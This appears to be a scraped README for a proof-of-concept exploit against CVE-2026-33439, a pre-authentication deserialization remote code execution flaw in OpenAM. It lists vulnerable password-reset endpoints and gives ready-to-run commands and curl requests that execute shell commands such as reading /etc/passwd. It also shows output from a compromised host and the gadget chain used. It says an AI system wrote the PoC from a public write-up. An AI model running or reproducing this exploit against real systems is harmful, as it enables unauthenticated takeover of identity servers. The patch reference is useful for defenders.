Share
## https://sploitus.com/exploit?id=C6A70E26-FECB-5C4F-B1E4-895B2AA6AE70
# CVE-2026-33439 โ OpenAM Pre-Auth RCE (Echo Mode)
Command output directly in the HTTP response โ no DNS exfiltration or OOB needed.
Uses `com.iplanet.jato.RequestManager.getRequestContext()` to access the active
JATO ThreadLocal request/response during deserialization. Works on Java 21+ where
classic Tomcat echo techniques (Thread.target / ThreadGroup.threads traversal) fail.
## Prerequisites
- JDK 11+ (needs `javac` for translet compilation at runtime)
- Target OpenAM with `click-nodeps-2.3.0.jar` and `xalan-2.7.x.jar` on classpath
## Confirmed Vulnerable Endpoints
| Endpoint | Echo Output |
|----------|-------------|
| `/sso/ui/PWResetUserValidation` | HTTP 200, command output in body |
| `/sso/ui/PWResetQuestion` | HTTP 200, command output in body |
| `/sso/ui/PWResetSuccess` | HTTP 200, command output in body |
Also tested but no echo output (deserialization still triggers):
- `/sso/ui/PWResetInvalidURL` โ error page returned
- `/sso/ui/PWResetUncaughtException` โ error page returned
## Build
```bash
./build.sh
```
## Usage
The JAR auto-adds `--add-opens` JVM flags โ no need to specify them manually.
```bash
# All-in-one: generate payload + send + show output (proxies through Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# Without Burp proxy
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# Generate reusable payload (command comes from 'cmd' header at request time)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
```
## Confirmed Results (2026-04-21)
```
$ java -jar CVE-2026-33439-Echo.jar send https:///sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https:///sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
```
## How It Works
1. Generates a `PriorityQueue` deserialization payload (Click1 + Xalan TemplatesImpl gadget chain)
2. The translet bytecode calls `RequestManager.getRequestContext()` to get the active JATO request/response
3. Reads the `cmd` HTTP header, executes `sh -c `, writes stdout+stderr to `response.getOutputStream()`
4. Payload is encoded as OpenAM-format Base64 (`\x00` prefix + URL-safe Base64, no padding)
5. Sent to `/sso/ui/PWResetUserValidation?jato.clientSession=` (unauthenticated)
## Directory Structure
```
CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # Exploit JAR
build.sh # Build script
MANIFEST.MF # JAR manifest
README.md # This file
lib/ # Dependencies (must stay next to JAR)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # Source code
```
## Fix
Patched in OpenAM commit `014007c63cacc834cc795a89fac0e611aebc4a32` โ adds
class filter to `ObjectInputStream` in `SessionEncodeURL.readSessionID()`.
## Miscellaneous:
The PoC was created using Claude; the prompt was the write-up (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) and the Git commit (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)